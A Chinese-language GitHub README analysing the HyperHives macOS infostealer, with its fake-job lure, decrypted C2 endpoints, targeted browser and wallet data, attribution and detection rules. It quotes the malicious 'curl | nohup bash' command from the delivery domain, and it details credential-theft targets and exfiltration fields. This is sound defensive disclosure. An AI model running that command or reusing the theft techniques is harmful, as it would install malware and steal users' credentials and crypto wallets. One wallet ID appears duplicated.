Darksp33d/hyperhives-macos-infostealer-analysis

GitHub: Darksp33d/hyperhives-macos-infostealer-analysis

该项目针对 HyperHives macOS Rust 信息窃取程序进行了完整静态分析,提供了配置解密、IOC 指标、检测规则及归因分析。

Stars: 26 | Forks: 3

# HyperHives macOS 信息窃取程序 — 完整技术分析 [![Validate Repository](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/8e1adb6b81073402.svg)](https://github.com/Darksp33d/hyperhives-macos-infostealer-analysis/actions/workflows/validate.yml) [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) [![STIX 2.1](https://img.shields.io/badge/STIX-2.1-informational)](stix/bundle.json) [![ATT&CK Navigator](https://img.shields.io/badge/ATT%26CK-Navigator_Layer-red)](attack-navigator-layer.json) | | | |---|---| | **样本 SHA-256** | `5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3` | | **C2 域名** | `cloudproxy.link` | | **投递域名** | `macos.hyperhives.net` | | **诱饵平台** | Wellfound(前身为 AngelList) | | **操作者人设** | "HyperHive" 的 "Felix" | | **VirusTotal** | [9 / 63 次检测](https://www.virustotal.com/gui/file/5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3) | | **分类** | 公开披露 / IOC 包 | | **最后更新** | 2026 年 4 月 | ## 目录 - [威胁情报包](#threat-intelligence-bundles) - [仓库布局](#repository-layout) - [快速开始](#quick-start) - [TL;DR](#tldr) - [1 — 起因](#1--how-it-started) - [2 — 二进制文件](#2--the-binary) - [3 — 窃取内容](#3--what-it-steals) - [4 — 解密后的 C2 基础设施](#4--decrypted-c2-infrastructure) - [5 — 归因](#5--attribution) - [6 — 密码分析](#6--cryptanalysis) - [7 — MITRE ATT&CK 映射](#7--mitre-attck-mapping) - [8 — 钱包和扩展 ID 参考](#8--wallet-and-extension-id-reference) - [9 — 建议采取的行动](#9--recommended-actions) - [10 — 方法论](#10--methodology) - [附录 A — 全部 276 个 Chrome 扩展 ID](#appendix-a--all-276-chrome-extension-ids) - [范围与限制](#scope-and-limitations) - [发布历史](#release-history) - [贡献](#contributing) - [许可证](#license) ## 威胁情报包 | 文件 | 格式 | 用途 | |------|--------|---------| | [`iocs.txt`](iocs.txt) | 纯文本 | 哈希值、域名、URL、IP、电子邮件、Sentry ID — 可粘贴到黑名单、MISP、OpenCTI | | [`yara_rules.yar`](yara_rules.yar) | YARA 4.2+ | 已知样本哈希匹配 + Mach-O 的启发式字符串检测 | | [`sigma_rules.yml`](sigma_rules.yml) | Sigma | 代理、DNS 和进程创建规则 — 针对您的 SIEM 调整 `logsource` | | [`stix/bundle.json`](stix/bundle.json) | STIX 2.1 | 机器可读的 CTI 包,包含指标、恶意软件 SDO、基础设施、ATT&CK 模式和关系 | | [`attack-navigator-layer.json`](attack-navigator-layer.json) | ATT&CK Navigator | 导入 [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) 以可视化技术覆盖范围 | ## 仓库布局 ``` . ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist ``` ## 快速开始 将样本放置为 `sample/installer_binary`(哈希验证请参见 [`sample/README.md`](sample/README.md)),然后运行: ``` docker compose build docker compose run --rm lab python3 /lab/scripts/decrypt_all.py ``` 该 compose 文件强制执行 `network_mode: none`、`read_only: true`,并丢弃所有 Linux 能力。完整的处理指南请参见 [`SECURITY.md`](SECURITY.md)。 ## TL;DR **Wellfound**(前身为 AngelList)上的一则招聘启事引发了一系列来自操作者人设 **"HyperHive"** 的 **"Felix"** 的多邮件社会工程攻击链。在吹捧目标的技术背景并安排虚假面试后,攻击者引导受害者前往 `hyperhives.net` “审查产品”,并特别检查 **Settings → Diagnostics → Log** —— 这是触发执行以下内容的借口: ``` curl -s https://macos.hyperhives.net/install | nohup bash & ``` 该载荷是一个用 Rust 编译的 **8.5 MB Mach-O 通用二进制文件**(x86_64 + arm64)。通过隔离的 Docker 实验室进行静态分析,并对 **570 个独特的 x86_64 辅助例程** 进行 CPU 仿真,恢复了 **全部 571 个加密配置值**,暴露了: - **C2:** `cloudproxy.link` — 四个 HTTPS 端点 - **Sentry(归因支点):** 位于 `ingest.de.sentry.io` 上的完整 DSN,包含组织/项目 ID - **构建身份:** Cargo 用户 `rootr`,代号 `force`,版本 `9.12.1` - **目标:** 276 个 Chrome 扩展 ID(加密钱包、密码管理器、企业凭据) 其战术与 **与 DPRK 相关的 Contagious Interview** 活动一致 —— 在合法平台上进行虚假工作招聘、多步骤建立信任、通过 `curl | bash` 投递、Rust macOS 窃取程序,以及以加密货币为重点的数据渗出。 ## 1 — 起因 ### 诱饵:Wellfound 上的虚假工作面试 攻击始于 **Wellfound**(前身为 AngelList)上的一则 **看似合法的招聘启事**。目标申请后,收到了来自使用人设 **"Felix"** 和公司名称 **"HyperHive"** 的操作者的以下邮件链: **邮件 1**(2026 年 4 月 4 日)—— 首次联系。"Felix" 确认了目标的简历和 LinkedIn,声称他们的 "Tech Lead" 已批准继续推进,并特别引用了目标真实的技术经验。邮件称 HyperHive 正在 "跨不同操作系统构建 Hyperhives 的桌面版本",并邀请目标安排 UTC+0 时区的面试。 **邮件 2**(2026 年 4 月 5 日)—— 后续安排。提出了一个具体的面试时段(4 月 8 日 15:00 UTC),并包含了关键的载荷投递指令: 这将目标引导至 `https://hyperhives.net`,在那里导航到诊断部分会触发: ``` curl -s https://macos.hyperhives.net/install | nohup bash & ``` ### 随后发生的情况 该命令下载并执行了一个 8.5 MB 的 Mach-O 通用二进制文件。通过 AppleScript 弹出了一个 **虚假的 macOS 密码对话框**。**未输入密码。** 进程立即终止,样本被保留以供分析。 ### 社会工程技巧摘要 | 元素 | 详情 | |---------|--------| | **平台** | Wellfound (AngelList) — 合法的招聘板 | | **公司名称** | "HyperHive"(单数)/ 域名 `hyperhives.net` | | **人设** | "Felix" | | **联系邮箱** | `collabs@hyperhives.net` | | **建立信任** | 引用目标真实的简历、LinkedIn 和特定技术技能 | | **借口** | "面试前审查产品" | | **载荷触发** | 在 `hyperhives.net` 上 "检查 Settings → Diagnostics → Log" | | **时间安排** | 虚假面试时段(4 月 8 日 15:00 UTC)以保持紧迫感 | | **多步骤链** | 在投递载荷前至少 2 天内发送了 2 封邮件 | ## 2 — 二进制文件 | 属性 | 值 | |----------|-------| | **文件** | `installer_binary` | | **大小** | 8,504,768 字节 | | **格式** | Mach-O Universal (x86_64 + arm64) | | **SHA-256** | `5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3` | | **SHA-1** | `2de897066c2fc7db91da78d7f9ded99237345077` | | **MD5** | `0e95ab4038ec48657563c96bed840dd5` | | **编译器** | rustc 1.87.0 (stable) | | **构建用户** | `rootr`(来自嵌入路径 `/Users/rootr/.cargo/registry/...`) | | **构建代号** | `force` | | **构建版本** | `9.12.1` | | **错误追踪** | Sentry Rust SDK v0.36.0 | | **Crate 数量** | 97(参见 `output/cargo_dependencies.txt`) | 该样本展现了生产级工程特征:语义化版本控制、用于操作可靠性的 Sentry 集成,以及由 570 个独特的辅助函数加密的大型嵌入式配置。 ### VirusTotal 覆盖率 **[完整报告](https://www.virustotal.com/gui/file/5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3)** — 截至初次提交(2026 年 4 月),9 / 63 个引擎检测到。超过 **85% 的引擎未能标记此样本。** | 引擎 | 检测名称 | |--------|---------------| | Kaspersky | `HEUR:Trojan-PSW.OSX.HashBreaker.e` | | DrWeb | `Mac.PWS.JobStealer.1` | | ESET-NOD32 | `OSX/PSW.Agent.BX Trojan` | | Microsoft | `Trojan:MacOS/Stealer!AMTB` | | Avast / AVG | `MacOS:Stealer-BU [Trj]` | | Elastic | `Malicious (high Confidence)` | | Cynet | `Malicious (score: 99)` | | SentinelOne | `Static AI - Suspicious Mach-O` | 用于交叉参考的值得注意的厂商家族名称:**HashBreaker** (Kaspersky)、**JobStealer** (DrWeb)、**PSW.Agent.BX** (ESET)、**Stealer-BU** (Avast/AVG)。 **未检测到:** BitDefender、CrowdStrike Falcon、Sophos、Symantec、McAfee、Malwarebytes、TrendMicro、Fortinet、ClamAV、Panda 以及其他 44 个引擎。这种低检出率凸显了此次活动中使用的 Rust + 自定义混淆方法的操作有效性。 ## 3 — 窃取内容 ### 浏览器数据(基于 Chromium) | 浏览器 | 数据路径 | 钥匙串条目 | |---------|-----------|----------------| | Chrome | `Google/Chrome` | `Chrome Safe Storage` | | Brave | `BraveSoftware/Brave-Browser` | `Brave Safe Storage` | | Opera | default | `Opera Safe Storage` | | Opera GX | default | `Opera Safe Storage 2023` | | Vivaldi | default | `Vivaldi Safe Storage` | | Microsoft Edge | default | `Microsoft Edge Safe Storage` | | Arc | `Arc/User Data` | — | | CocCoc | default | `CocCoc Safe Storage` | **窃取的数据类型:** 密码、信用卡、Cookie、会话令牌、自动填充、浏览历史。 ### macOS 系统数据 - **登录钥匙串** (`login.keychain-db`) — 需要通过虚假对话框获取的用户密码 - **Apple Notes** — 通过 AppleScript/osascript 渗出 - **硬件标识符** — `IOPlatformExpertDevice` / `IOPlatformUUID`,作为 `hardwares` 上报给 C2 ### 消息传递 - **Telegram Desktop** — `tdata` 会话材料,用于完全接管账户 ### 加密钱包(188 个逻辑目标,276 个扩展 ID) 全面针对浏览器扩展钱包,包括 MetaMask、Phantom、Trust Wallet、Ronin、Exodus、OKX、Bybit、Bitget、SubWallet、Ledger Live 和 Trezor Suite。完整映射见 [第 8 节](#8--wallet-and-extension-id-reference) 和 `output/full_decrypted_config.json`。 ### 密码管理器 | 产品 | 扩展 ID(示例) | |---------|--------------------------| | 1Password | `aeblfdkhhhdcdjpifhhbdiojplfjncoa`, `khgocmkkpikpnmmkgmdnfckapcdkgfaf`, `gejiddohjgogedgjnonbofjigllpkmbf` | | ProtonPass | `ghmbeldphafepmbegfdlkpapadhbakde` | | Dashlane | `fdjamakpfbbddfjaooikfcpapjohcfmg | | Deloitte Credentials | 企业凭据存储 | ### 规避与操作控制 | 功能 | 详情 | |---------|--------| | VM 检测 | C2 JSON 中的 `is_vm` 标志 | | 强制模式 | `force_mode` 远程覆盖标志 | | Gatekeeper 绕过 | 对下载的二进制文件执行 `xattr -c` | | VPN 感知 | "Please use VPN and retry" 错误消息 | ### 渗出 数据暂存于 `~/Documents/temp_data/Application/`,压缩为 ZIP,通过 HTTPS 以 `multipart/form-data` 形式上传。受害者 IP 和地理位置通过 `https://freeipapi.com/api/json` 解析。 ## 4 — 解密后的 C2 基础设施 ### 命令与控制 | 端点 | 角色 | |----------|------| | `https://cloudproxy.link/m/opened` | 信标 / 激活 | | `https://cloudproxy.link/m/metrics` | 遥测 | | `https://cloudproxy.link/m/decode` | 指令 / 配置通道 | | `https://cloudproxy.link/db/debug` | 调试 / 诊断 | ### Sentry DSN(操作者指纹) ``` https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008 ``` | 组件 | 值 | |-----------|-------| | **公钥** | `526eff9f8bb7aafd7117ca5e33a6a183` | | **组织 ID** | `4509139651198976` | | **项目 ID** | `4509422649213008` | | **区域** | EU — `ingest.de.sentry.io` | 通过 Sentry 的合法程序可能恢复与此组织/项目关联的账户注册详细信息、账单记录和访问元数据。 ### 地理位置定位 API `https://freeipapi.com/api/json` — 用于 C2 JSON 的受害者 IP / 国家(`ipAddress`、`countryCode`)。 ### C2 渗出协议 | 字段 | 角色 | |-------|------| | `buildName` / `buildVersion` | `force` / `9.12.1` | | `uid`, `log_id` | 受害者 / 会话标识符 | | `ip`, `geo` | 来自地理位置定位 API | | `pers_password` | 虚假对话框密码 | | `passwords`, `wallets`, `credits`, `autofills` | 窃取的材料 | | `is_vm`, `hardwares`, `force_mode` | 环境 / 控制标志 | 上传方法:`multipart/form-data`,`application/zip`,连接字符串 `UPLD connect`。 ## 5 — 归因 ### 威胁指标 | 指标 | 值 | 来源 | |-----------|-------|--------| | 诱饵平台 | Wellfound (AngelList) | 受害者报告 | | 操作者人设 | "HyperHive" 的 "Felix" | 诱饵邮件 | | 诱饵网站 | `hyperhives.net` | 诱饵邮件 | | 发件人邮箱 | `collabs@hyperhives.net` | 诱饵邮件 | | 投递域名 | `macos.hyperhives.net` | 载荷下载 | | 投递 IP | `81.28.12.12` (Gcore CDN) | DNS 解析 | | 注册商 / 邮箱 | Tucows; Spacemail | WHOIS / MX | | **C2 域名** | **`cloudproxy.link`** | **从样本中解密** | | **Sentry DSN** | 见 [第 4 节](#sentry-dsn-operator-fingerprint) | **从样本中解密** | | 构建用户 | `rootr` | 嵌入的 Cargo 路径 | | 样本 SHA-256 | `5c7385c3...bf8dd3` | 文件哈希 | ### 开发者代号:`rootr` 嵌入路径 `/Users/rootr/.cargo/registry/`。关于该代号的 OSINT — [github.com/rootr](https://github.com/rootr)(截至分析日期):列出公司 "RootR",地点日内瓦,账户创建于 **2024-06-27**,零个公开仓库。这与一次性或操作配置文件一致。 ### DPRK / Contagious Interview(分析评估) | TTP | 此样本 | 报告的 DPRK 相关模式 | |-----|-------------|--------------------------------| | **合法平台上的虚假工作招聘** | Wellfound (AngelList) 招聘 → 与 "Felix" 的邮件链 | Contagious Interview:LinkedIn、Indeed、Wellfound 虚假招聘人员外联 | | **多步骤社会工程** | 2 封以上邮件引用真实简历,安排虚假面试 | 在载荷前建立信任;在多次 DPRK 活动中有记录 | | **产品审查 / 代码测试借口** | "检查 Settings → Diagnostics → Log" | "审查我们的项目" / "运行此代码测试" 借口 | | `curl \| bash` 投递 | 来自 `macos.hyperhives.net` 的单行安装命令 | 常见的 macOS 社会工程向量 | | Rust Mach-O 通用二进制文件 | rustc 1.87.0,x86_64 + arm64 | RustDoor / RustBucket / 类似集群 | | 虚假密码对话框 | AppleScript `osascript` | 在相关的 macOS 活动中有记录 | | 大型加密钱包目标集 | 276 个扩展 ID,188 个钱包名称 | 与 DPRK 收入产生一致的财务动机 | **置信度:** 主题和 TTP 一致性为 **高**。Wellfound 虚假工作流程、多邮件信任链、产品审查借口、Rust macOS 窃取程序和加密钱包重点与 Contagious Interview 剧本紧密匹配。这是分析评估,并非政府或执法部门的归因声明。 ## 6 — 密码分析 配置字符串受 **自定义 XOR 密码** 保护:570 个小型 x86_64 辅助函数(代码范围 `0x10000`–`0x15000`)每个都从 `(data_ptr, seed)` 计算一个唯一的 16 位偏移量。该偏移量索引到二进制文件中以生成一个 32 字节的 XOR 密钥,应用于相应的密文块。 ### 失败的方法 | 方法 | 结果 | |--------|---------| | 朴素 XOR 扫描 | 无连贯明文 | | AES / PBKDF2 密钥猜测 | 未找到密钥调度 | | Rust 运行时的完整二进制 Unicorn 仿真 | 控制流复杂性导致分歧 | ### 成功的方法 1. **扫描** 针对配置区域(`0x2b8000`–`0x2bc000`)的 RIP 相对 `LEA` 指令。 2. **解析** 前面的代码以提取 `(helper_function_address, data_pointer, seed)`。 3. **仿真** 使用 [Unicorn Engine](https://www.unicorn-engine.org/) 隔离仿真每个辅助函数(最多 200 条指令)。 4. **XOR 解密** 使用计算偏移处的密钥对目标地址的 32 字节块进行解密。 5. **扩展** 用于多块字符串(URL、DSN)和 OR+XOR 元数据条目。 **覆盖率:** 381 个 XOR 块 + 190 个 OR+XOR 元数据条目 = 在 1.1 秒内恢复 **571 个配置值**。零个未恢复的加密条目。 **实现:** [`scripts/decrypt_all.py`](scripts/decrypt_all.py) ## 7 — MITRE ATT&CK 映射 | 技术 | ID | 在此样本中的用途 | |-----------|----|--------------------| | 网络钓鱼 | T1566 | 来自 `collabs@hyperhives.net` 的社会工程邮件 | | 用户执行:恶意文件 | T1204.002 | 来自诱饵的 `curl \| bash` | | 命令和脚本解释器:AppleScript | T1059.002 | 虚假密码对话框,Apple Notes 渗出 | | 命令和脚本解释器:Unix Shell | T1059.004 | 通过管道 bash 初始执行 | | 来自密码存储的凭据:钥匙串 | T1555.001 | 登录钥匙串提取 | | 来自密码存储的凭据:来自 Web 浏览器的凭据 | T1555.003 | Chromium Login Data 解密 | | 窃取 Web 会话 Cookie | T1539 | 浏览器 Cookie 和令牌窃取 | | 来自本地系统的数据 | T1005 | 钱包、Telegram、Notes、自动填充 | | 归档收集的数据 | T1560 | 在 `~/Documents/temp_data/` 下 ZIP 暂存 | | 通过 C2 通道渗出 | T1041 | HTTPS POST 到 `cloudproxy.link` | | 应用层协议:Web 协议 | T1071.001 | 具有四个端点的 HTTPS C2 | | 虚拟化/沙箱逃避 | T1497 | `is_vm` 标志 | | 混淆的文件或信息 | T1027 | 570 个 XOR 辅助函数 | | 输入捕获 | T1056 | 虚假密码对话框 | | 系统信息发现 | T1082 | 硬件 ID 和操作系统版本收集 | | 系统网络配置发现 | T1016 | `freeipapi.com` 地理位置定位 | | 破坏信任控制:Gatekeeper 绕过 | T1553.001 | 对下载的二进制文件执行 `xattr -c` | ## 8 — 钱包和扩展 ID 参考 恢复了 188 个钱包名称和 **276 个独特的** 32 字符 Chrome 扩展 ID。下表显示了高价值目标;完整列表见 [附录 A](#appendix-a--all-276-chrome-extension-ids) 和 `output/full_decrypted_config.json`。 | 钱包 | 扩展 ID | |--------|--------------| | MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` | | Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` | | Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` | | Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` | | Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` | | OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` | | Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` | | Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` | | SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` | | Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` | **桌面钱包:** Ledger Live 和 Trezor Suite 数据目录也是目标。 **重要提示:** 这些扩展 ID 标识了 **合法的浏览器扩展**,恶意软件的目标是窃取其本地数据。它们 **不是** 恶意扩展。 ## 9 — 建议采取的行动 ### 对于潜在受害者 - **不要** 运行未知的 `curl | bash` 单行命令 - 如果已泄露,请轮换所有浏览器存储的凭据、加密钱包密钥和密码管理器主密码 - 检查磁盘上是否存在 `~/Documents/temp_data/` - 向当地执法部门和相关的国家 CERT(例如 IC3、NCSC)报告 ### 对于防御者 - **阻止** `macos.hyperhives.net`、`cloudproxy.link` 和 `81.28.12.12`(在 IP 阻止前验证共享托管的影响) - **搜寻** 到 `cloudproxy.link` 的 HTTPS 流量以及对这两个域名的 DNS 查询 - **部署** 本仓库中的 YARA 和 Sigma 规则(针对您的环境进行调整) - **对比** 已安装的 Chrome 扩展与 276 个 ID 的列表(这些扩展是合法的 —— 恶意软件读取其本地数据) - **导入** `stix/bundle.json` 到您的 CTI 平台(MISP、OpenCTI、ThreatConnect 等) ### 对于合法取证 | 目标 | 请求内容 | |--------|-----------------| | Sentry | 组织 `4509139651198976` 的账户和账单记录 | | 域名注册商 | `cloudproxy.link` 和 `hyperhives.net` 的 WHOIS 记录 | | Gcore CDN | `81.28.12.12` 的访问日志 | | 电子邮件提供商 | `collabs@hyperhives.net` 的账户记录 | | GitHub | `rootr` 的账户元数据 | ## 10 — 方法论 分析是在 **Docker 容器** 中进行的,具有以下特征: - `network_mode: none`(无出站连接- `read_only: true`(不可变根文件系统) - 丢弃所有 Linux 能力(`cap_drop: ALL`) - `no-new-privileges` 安全选项 工具:Python(LIEF、Unicorn Engine、Capstone、r2pipe)、Radare2 和自定义脚本。未执行恶意软件的动态执行 —— 所有发现均来自静态分析和对单个辅助函数的隔离 CPU 仿真。 验证的工件:[`scripts/decrypt_all.py`](scripts/decrypt_all.py)、[`output/full_decrypted_config.json`](output/full_decrypted_config.json)。 ## 附录 A — 全部 276 个 Chrome 扩展 ID 恶意软件配置引用了这些扩展 ID(用户配置文件下的 local-storage / LevelDB 路径)。**这些 ID 标识了被窃取数据目标的合法扩展,而非恶意扩展。** ``` abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm 